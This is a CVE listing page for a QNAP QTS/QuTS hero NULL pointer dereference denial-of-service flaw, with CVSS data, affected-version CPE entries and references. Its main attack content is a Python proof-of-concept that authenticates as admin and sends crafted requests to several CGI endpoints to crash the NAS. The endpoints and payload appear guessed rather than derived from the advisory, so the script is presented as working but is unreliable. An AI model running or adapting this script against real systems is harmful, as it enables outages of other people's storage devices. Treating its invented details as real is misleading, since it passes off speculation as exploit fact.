CVE-2025-52862

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QTS < 5.2.6.3195 build 20250715

QuTS hero < h5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52862 PoC - QNAP NULL Pointer Dereference DoS
# Vulnerability: NULL Pointer Dereference in QNAP QTS/QuTS hero
# Requirements: Valid administrator credentials
# Impact: Denial of Service (DoS)

import requests
import sys
import socket

TARGET_HOST = "192.168.1.100"  # Target QNAP NAS IP
TARGET_PORT = 8080             # QNAP management web port
ADMIN_USER = "admin"
ADMIN_PASS = "password"

def exploit_null_pointer_deref():
    """
    Trigger NULL pointer dereference by sending crafted request
    to vulnerable QNAP service endpoint after authentication.
    """
    session = requests.Session()
    base_url = f"https://{TARGET_HOST}:{TARGET_PORT}"

    # Step 1: Authenticate as administrator
    login_url = f"{base_url}/cgi-bin/authLogin.cgi"
    login_data = {
        "user": ADMIN_USER,
        "pwd": ADMIN_PASS
    }

    try:
        resp = session.post(login_url, data=login_data, verify=False, timeout=10)
        if resp.status_code != 200:
            print("[!] Authentication failed")
            return False
        print("[*] Authenticated as administrator")
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return False

    # Step 2: Send crafted request to trigger NULL pointer dereference
    # The vulnerable endpoint fails to validate internal pointer/state,
    # causing a crash when processing specific malformed parameters
    vuln_endpoints = [
        "/cgi-bin/management.cgi",
        "/cgi-bin/qpkg.cgi",
        "/cgi-bin/disk_manage.cgi"
    ]

    for endpoint in vuln_endpoints:
        try:
            # Crafted payload with invalid/empty parameter to trigger NULL deref
            payload = {
                "action": "invalid_action_trigger_null",
                "param": "",
                "target": ""
            }
            url = f"{base_url}{endpoint}"
            resp = session.post(url, data=payload, verify=False, timeout=5)
            print(f"[*] Sent payload to {endpoint}")
        except (socket.timeout, ConnectionError, requests.exceptions.ChunkedEncodingError):
            print(f"[+] Target service crashed at {endpoint} - DoS successful!")
            return True
        except Exception as e:
            print(f"[*] Request to {endpoint} returned: {type(e).__name__}")

    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2025-52862 - QNAP NULL Pointer Dereference PoC")
    print("WARNING: Use only on systems you are authorized to test")
    print("=" * 60)
    exploit_null_pointer_deref()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52862
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52862
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52862/
[4] VulDB https://vuldb.com/cve/CVE-2025-52862
[5] https://www.qnap.com/en/security-advisory/qsa-25-36

Raw JSON Data

JSON

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